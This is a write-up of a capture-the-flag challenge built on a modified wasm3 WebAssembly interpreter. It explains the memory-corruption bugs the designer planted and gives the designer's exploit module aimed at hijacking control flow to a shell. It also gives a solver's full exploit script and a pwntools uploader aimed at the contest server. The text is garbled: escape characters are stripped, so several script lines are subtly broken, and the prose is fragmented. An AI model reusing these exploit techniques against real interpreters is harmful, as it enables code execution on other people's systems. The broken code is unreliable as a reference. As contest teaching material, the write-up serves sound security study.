这是一场人类与超智能AI的“生死”较量
请立刻集结,搭乘SpaceX,前往AI控制空间站
智慧博弈 谁能问鼎
看雪·2023 KCTF 年度赛于9月1日中午12点正式开赛!比赛基本延续往届模式,设置了难度值、火力值和精致度积分。由此来引导竞赛的难度和趣味度,使其更具挑战性和吸引力,同时也为参赛选手提供了更加公平、有趣的竞赛平台。
*注意:签到题持续开放,整个比赛期间均可提交答案获得积分
今日中午12:00第十三题《共存之道》已截止答题,该题仅有xxx支战队成功提交flag,一起来看下该题的设计思路和解析吧。
出题团队简介
出题战队:星盟安全团队
战队成员:Tokameine
设计思路
最开始,我是基于 V8 出一道题的,但是出于各种现实因素,最终还是放弃了。
但浏览器相关的东西一直以来都很有意思,所以最后选了一个较为经典的 WASM 解释器作为范本进行修改。
出题思路
https://github.com/wasm3/wasm3
m3_ParseModule
按照模块进行解析m3_LoadModule
进行初始化设置link_all
将 WASI 模块链接进来repl_call
对模块中的函数实现进行调用,执行具体的字节码M3Result Module_AddGlobal (IM3Module io_module, IM3Global * o_global, u8 i_type, bool i_mutable, bool i_isImported)
{
_try {
u32 index = io_module->numGlobals++;
//io_module->globals = m3_ReallocArray (M3Global, io_module->globals, io_module->numGlobals, index);
_throwifnull (io_module->globals);
M3Global * global = & io_module->globals [index];
global->type = i_type;
global->imported = i_isImported;
global->isMutable = i_mutable;
if (o_global)
* o_global = global;
} _catch:
return result;
}
ParseSection_Import
:M3Result ParseSection_Import (IM3Module io_module, bytes_t i_bytes, cbytes_t i_end)
{
M3Result result = m3Err_none;
M3ImportInfo import = { NULL, NULL }, clearImport = { NULL, NULL };
u32 numImports;
_ (ReadLEB_u32 (& numImports, & i_bytes, i_end)); m3log (parse, "** Import [%d]", numImports);
_throwif("too many imports", numImports > d_m3MaxSaneImportsCount);
io_module->globals= m3_AllocArray (M3Global, 20);
// Most imports are functions, so we won't waste much space anyway (if any)
_ (Module_PreallocFunctions(io_module, numImports));
选择这里其实是有原因的,因为只有在这个地方去创建才能让题目可做,后文会提到为什么。
Module_PreallocFunctions
创建的函数列表。在M3Function
结构体中存在一个compiled
成员,阅读 Call 指令的编译部分可以发现,如果该成员非零,就会认为该函数已被编译,可以直接跳转到compiled
中储存的地址去:static
M3Result Compile_Call (IM3Compilation o, m3opcode_t i_opcode)
{
_try {
u32 functionIndex;
_ (ReadLEB_u32 (& functionIndex, & o->wasm, o->wasmEnd));
IM3Function function = Module_GetFunction (o->module, functionIndex);
if (function)
{ m3log (compile, d_indent " (func= [%d] '%s'; args= %d)", get_indention_string (o), functionIndex, m3_GetFunctionName (function), function->funcType->numArgs);
if (function->module)
{
u16 slotTop;
_ (CompileCallArgsAndReturn (o, & slotTop, function->funcType, false));
IM3Operation op;
const void * operand;
if (function->compiled)
{
op = op_Call;
operand = function->compiled;
}
else
{
op = op_Compile;
operand = function;
}
compiled
就足够的样子,但实际上是不行的,并且是理论上不可能实现的。M3Global
结构体的定义:typedef struct M3Global
{
M3ImportInfo import;
union
{
i32 i32Value;
i64 i64Value;
#if d_m3HasFloat
f64 f64Value;
f32 f32Value;
#endif
};
cstr_t name;
bytes_t initExpr; // wasm code
u32 initExprSize;
u8 type;
bool imported;
bool isMutable;
}
M3Global;
i64Value
在内存上永远对齐了 0x10,而compiled
则永远对齐到 0x08,不论如何覆盖都是不可能完成的,于是我还修改了一个点:# ifndef d_m3MaxDuplicateFunctionImpl
# define d_m3MaxDuplicateFunctionImpl 4
# endif
M3Function
的 names 字段多加 8 个字节,这样是不是就能成功了呢?还是不行。经过笔者测试,如果二者在内存上直接相邻,那i64Value
和compiled
最小也会有 0x10 的偏移,似乎还是不能成功。i64Value
和compiled
的偏移:static M3Parser s_parsers [] =
{
ParseSection_Custom, // 0
ParseSection_Type, // 1
ParseSection_Import, // 2
ParseSection_Function, // 3
NULL, // 4: TODO Table
ParseSection_Memory, // 5
ParseSection_Global, // 6
ParseSection_Export, // 7
ParseSection_Start, // 8
ParseSection_Element, // 9
ParseSection_Code, // 10
ParseSection_Data, // 11
NULL, // 12: TODO DataCount
};
ParseSection_Import
中根据导入的符号数进行创建,如果实际的函数数量超过了当前的数组容量,那么就会调用realloc
重新开辟,通过调整内存布局就能够让二者中间留下无用的内存,这样就可以任意越界了。m3_LoadModule
会解析全局变量的值,这会让原本就算有值的地方也被覆盖成自己声明的值,并且没有手段能够阻止它不去解析。link_all
阶段程序崩溃。于是我做了第三个变动:
M3Result m3_ParseModule (IM3Environment i_environment, IM3Module * o_module, cbytes_t i_bytes, u32 i_numBytes)
{
IM3Module module; m3log (parse, "load module: %d bytes", i_numBytes);
_try {
....
static const u8 sectionsOrder[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 12, 10, 11, 0 }; // 0 is a placeholder
u8 expectedSection = 0;
while (pos < end)
{
u8 section;
_ (ReadLEB_u7 (& section, & pos, end));
if (section != 0) {
// Ensure sections appear only once and in order
//while (sectionsOrder[expectedSection++] != section) {
_throwif(m3Err_misorderedWasmSection, section >= 12);
//}
}
M3global
后面插入 Import Global,从而规避开内存破坏。(module
(import "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "toka" (global $aa1 (mut i64)))
(import "toka" "toka" (global $aa2 (mut i64)))
(import "toka" "toka" (global $aa3 (mut i64)))
(import "toka" "toka" (global $aa4 (mut i64)))
(import "toka" "toka" (global $aa5 (mut i64)))
(global $g1 (mut i64) (i64.const 0));;6+31+12
(export "a" (global $g1))
(global $g2 (mut i64) (i64.const 0))
(global $g3 (mut i64) (i64.const 0))
(global $g4 (mut i64) (i64.const 0))
(global $g5 (mut i64) (i64.const 0))
(global $g6 (mut i64) (i64.const 0))
(global $g7 (mut i64) (i64.const 0))
(global $g8 (mut i64) (i64.const 0))
(global $g9 (mut i64) (i64.const 0))
(global $g10 (mut i64) (i64.const 0))
(global $g11 (mut i64) (i64.const 0))
(global $g12 (mut i64) (i64.const 0))
(global $g13 (mut i64) (i64.const 0))
(global $g14 (mut i64) (i64.const 0))
(global $g15 (mut i64) (i64.const 0))
(global $g16 (mut i64) (i64.const 0))
(global $g17 (mut i64) (i64.const 0))
(global $g18 (mut i64) (i64.const 0))
(global $g19 (mut i64) (i64.const 0))
(global $g20 (mut i64) (i64.const 0))
(global $g21 (mut i64) (i64.const 0))
(global $g22 (mut i64) (i64.const 0))
(global $g23 (mut i64) (i64.const 0))
(global $g24 (mut i64) (i64.const 0))
(global $g25 (mut i64) (i64.const 0))
(global $g26 (mut i64) (i64.const 0))
(global $g27 (mut i64) (i64.const 0))
(global $g28 (mut i64) (i64.const 0))
(global $g29 (mut i64) (i64.const 0))
(global $g30 (mut i64) (i64.const 0))
(global $g31 (mut i64) (i64.const 0))
(global $a0 (mut i64) (i64.const 0))
(global $a1 (mut i64) (i64.const 0))
(global $a2 (mut i64) (i64.const 0))
(global $a3 (mut i64) (i64.const 0))
(global $a4 (mut i64) (i64.const 0))
(global $a5 (mut i64) (i64.const 0))
(global $a6 (mut i64) (i64.const 0))
(global $a7 (mut i64) (i64.const 0))
(global $a8 (mut i64) (i64.const 0))
(global $a9 (mut i64) (i64.const 0))
(global $a10 (mut i64) (i64.const 0))
(global $a11 (mut i64) (i64.const 1))
(memory 1024)
(data (i32.const 0) "Hello, world!n")
(func $toka1
)
(func $toka
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
)
(func $toka2
)
(func $toka3
)
(func $toka4
)
(func $toka5
)
(func $toka6
)
(func $toka7
)
(func $toka8
)
(func $toka9
)
(func $toka10
)
;; _start function
(func $_start(export "_start")
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(call $toka10)
(global.get $a10) ;;get global[49]
(i64.sub (i64.const 71016))
(local.set 0)
(i64.const 4221760)
(local.set 1)
(i64.const 29400045130965551)
(local.set 2)
(local.get 0)
(global.set $a9) ;;set global[50] to control rip
(global.get $a9)
(local.set 5)
(call $toka1)
)
(export "toka1" (func $toka1))
(export "/bin/sh" (func $toka1))
)
解题思路
bindiff
对程序进行对比,从而找出被修补后的代码部分,然后通过阅读二进制程序来还原源代码。日后谈
赛题解析
(import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))
利用ORW直接读取flag,但是你要我在第一次短时间内写出wat文件的格式是很难的啦,直接GitHub搜就完事了。模板连接如下模板(https://github.com/eliben/wasm-wat-samples/blob/main/wasi-read-file/readfile.wat)
这里要稍微改下的就是path_open的2个权限标志,把2个3都改成2(fd_rights_base 和fd_rights_inheriting ),生成wasm的脚本是嫖的https://blog.wm-team.cn/index.php/archives/34/
完整EXP如下:
import os
code = '''
;; This sample shows how to read a file using WASM/WASI.
;;
;; Reading a file requires sandbox permissions in WASM. By default, WASM
;; module cannot access the file system, and they require special permissions
;; to be granted from the host. The majority of this code deals with obtaining
;; the "pre-set" directory the host mapped for us, so we can open the file
;; and read it.
;;
;; Eli Bendersky [https://eli.thegreenplace.net]
;; This code is in the public domain.
(module
(import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))
(memory (export "memory") 1)
(func $main (export "_start")
(local $errno i32)
;; Call fd_prestat_get to obtain length of dir name at fd=3
;; We pass the pointer to $prestat_tag_buf -- the actual length will
;; be written to the next word in memory, which is $prestat_dir_name_len
(local.set $errno
(call $fd_prestat_get (i32.const 3) (global.get $prestat_tag_buf)))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $println_number (local.get $errno))
(call $die (i32.const 6900) (i32.const 28))))
;; Call fd_prestat_dir_name to obtain dir name at fd=3, saving it to
;; $fd_prestat_dir_name
(local.set $errno
(call $fd_prestat_dir_name
(i32.const 3)
(global.get $prestat_dir_name_buf)
(i32.load (global.get $prestat_dir_name_len))))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $println_number (local.get $errno))
(call $die (i32.const 6950) (i32.const 33))))
;; Sanity checking of the prestat dir: expect it to start with '/'
;; (ASCII 47)
(i32.or
(i32.lt_u (i32.load (global.get $prestat_dir_name_len)) (i32.const 1))
(i32.ne (i32.load8_u (global.get $prestat_dir_name_buf)) (i32.const 47)))
if
(call $die (i32.const 7025) (i32.const 49))
end
;; Open the input file using fd=3 as the base directory.
;; This assumes the input file is relative to the base directory.
;; The result of this call will be the fd for the opened file in
;; $path_open_fd_out
;;
;; Note: the rights flags are minimal -- only allowing fd_read.
;; Previously I tried giving "all" rights, but this didn't work in
;; node (though it did in other runtimes). The reason for this may
;; be that each fd has its maximal inheriting rights (specified in
;; the fdstat.fs_rights_inheriting field), and we can't open a file
;; with higher rights than its parents' inheriting field allows.
(local.set $errno
(call $path_open
(i32.const 3) ;; fd=3 as base dir
(i32.const 0x1) ;; lookupflags: symlink_follow=1
(i32.const 7940) ;; file name in memory
(i32.const 10) ;; length of file name
(i32.const 0x0) ;; oflags=0
(i64.const 2) ;; fd_rights_base: fd_read rights
(i64.const 2) ;; fd_rights_inheriting: fd_read rights
(i32.const 0x0) ;; fdflags=0
(global.get $path_open_fd_out)))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $println_number (local.get $errno))
(call $die (i32.const 7090) (i32.const 37))))
;; (call $println_number (i32.load (global.get $path_open_fd_out)))
;; Populat iovecs for fd_read; we create a single vector with a
;; buffer length of 128
(i32.store (global.get $read_iovec) (global.get $read_buf))
(i32.store (i32.add (global.get $read_iovec) (i32.const 4)) (i32.const 128))
(local.set $errno
(call $fd_read
(i32.load (global.get $path_open_fd_out))
(global.get $read_iovec)
(i32.const 1)
(global.get $fdread_ret)))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $die (i32.const 7130) (i32.const 29))))
;; Print out how many bytes were actually read
(call $println_number (i32.load (global.get $fdread_ret)))
;; Print "read from file" header
(call $println (i32.const 7170) (i32.const 17))
;; ... now print what was actually read; the read buffer was pointed to
;; by the fd_read io vector, and use fd_read's "number of bytes read"
;; return value for the length.
(call $println (global.get $read_buf) (global.get $fdread_ret))
)
;; println prints a string to stdout using WASI, adding a newline.
;; It takes the string's address and length as parameters.
(func $println (param $strptr i32) (param $len i32)
;; Print the string pointed to by $strptr first.
;; fd=1
;; data vector with the pointer and length
(i32.store (global.get $datavec_addr) (local.get $strptr))
(i32.store (global.get $datavec_len) (local.get $len))
(call $fd_write
(i32.const 1)
(global.get $datavec_addr)
(i32.const 1)
(global.get $fdwrite_ret)
)
drop
;; Print out a newline.
(i32.store (global.get $datavec_addr) (i32.const 8010))
(i32.store (global.get $datavec_len) (i32.const 1))
(call $fd_write
(i32.const 1)
(global.get $datavec_addr)
(i32.const 1)
(global.get $fdwrite_ret)
)
drop
)
;; Prints a message (address and len parameters) and exits the process
;; with return code 1.
(func $die (param $strptr i32) (param $len i32)
(call $println (local.get $strptr) (local.get $len))
(call $proc_exit (i32.const 1))
)
;; println_number prints a number as a string to stdout, adding a newline.
;; It takes the number as parameter.
(func $println_number (param $num i32)
(local $numtmp i32)
(local $numlen i32)
(local $writeidx i32)
(local $digit i32)
(local $dchar i32)
;; Count the number of characters in the output, save it in $numlen.
(i32.lt_s (local.get $num) (i32.const 10))
if
(local.set $numlen (i32.const 1))
else
(local.set $numlen (i32.const 0))
(local.set $numtmp (local.get $num))
(loop $countloop (block $breakcountloop
(i32.eqz (local.get $numtmp))
br_if $breakcountloop
(local.set $numtmp (i32.div_u (local.get $numtmp) (i32.const 10)))
(local.set $numlen (i32.add (local.get $numlen) (i32.const 1)))
br $countloop
))
end
;; Now that we know the length of the output, we will start populating
;; digits into the buffer. E.g. suppose $numlen is 4:
;;
;; _ _ _ _
;;
;; ^ ^
;; $itoa_out_buf -----| |---- $writeidx
;;
;;
;; $writeidx starts by pointing to $itoa_out_buf+3 and decrements until
;; all the digits are populated.
(local.set $writeidx
(i32.sub
(i32.add (global.get $itoa_out_buf) (local.get $numlen))
(i32.const 1)))
(loop $writeloop (block $breakwriteloop
;; digit <- $num % 10
(local.set $digit (i32.rem_u (local.get $num) (i32.const 10)))
;; set the char value from the lookup table of digit chars
(local.set $dchar (i32.load8_u offset=8000 (local.get $digit)))
;; mem[writeidx] <- dchar
(i32.store8 (local.get $writeidx) (local.get $dchar))
;; num <- num / 10
(local.set $num (i32.div_u (local.get $num) (i32.const 10)))
;; If after writing a number we see we wrote to the first index in
;; the output buffer, we're done.
(i32.eq (local.get $writeidx) (global.get $itoa_out_buf))
br_if $breakwriteloop
(local.set $writeidx (i32.sub (local.get $writeidx) (i32.const 1)))
br $writeloop
))
(call $println
(global.get $itoa_out_buf)
(local.get $numlen))
)
;;
;; Memory mapping and initialization.
;;
(data (i32.const 6900) "error: fd_prestat_get failed")
(data (i32.const 6950) "error: fd_prestat_dir_name failed")
(data (i32.const 7025) "error: expect first preopened directory to be '/'")
(data (i32.const 7090) "error: unable to path_open input file")
(data (i32.const 7130) "error: fd_read failed")
(data (i32.const 7170) "Read from file:\n")
;; These slots are used as parameters for fd_write, and its return value.
(global $datavec_addr i32 (i32.const 7900))
(global $datavec_len i32 (i32.const 7904))
(global $fdwrite_ret i32 (i32.const 7908))
;; For prestat calls
(global $prestat_tag_buf i32 (i32.const 7920))
(global $prestat_dir_name_len i32 (i32.const 7924))
(global $prestat_dir_name_buf i32 (i32.const 7936))
;; File name
(data (i32.const 7940) "flag")
;; Output buf for path_open to write fd into
(global $path_open_fd_out i32 (i32.const 7952))
;; Using some memory for a number-->digit ASCII lookup-table, and then the
;; space for writing the result of $itoa.
(data (i32.const 8000) "0123456789")
(data (i32.const 8010) "\n")
(global $itoa_out_buf i32 (i32.const 8020))
;; Buffer for fd_read
(global $read_iovec i32 (i32.const 8100))
(global $fdread_ret i32 (i32.const 8112))
(global $read_buf i32 (i32.const 8120))
)
'''
lines = code.split('n')
code = ''
for line in lines:
if '/' not in line:
code += line + 'n'
os.remove("exp.wat")
with open('exp.wat', 'w') as f:
f.write(code)
os.system('wat2wasm --enable-all --no-check exp.wat')
with open("exp.wasm", "rb") as f:
wasm_data = f.read()
wasm_data = wasm_data.replace(b'xfcx0cx00x00', b'xfcx0cx01x01')
with open("exp.wasm", "wb") as f:
f.write(wasm_data)
上传脚本如下:
from pwn import *
context.log_level='debug'
# 读取本地的exp.wasm文件
with open("exp.wasm", "rb") as wasm_file:
wasm_data = wasm_file.read()
# 将WASM文件数据进行Base64编码
base64_data = base64.b64encode(wasm_data).decode()
# 构建要发送的数据字符串
data_to_send = f"{base64_data}"
# 连接到服务器并发送数据
with remote("123.59.196.133", 10040) as r:
r.send(data_to_send)
r.interactive()
球分享
球点赞
球在看
点击阅读原文进入比赛
原文始发于微信公众号(看雪学苑):看雪2023 KCTF年度赛 | 第13题·共存之道-设计思路及解析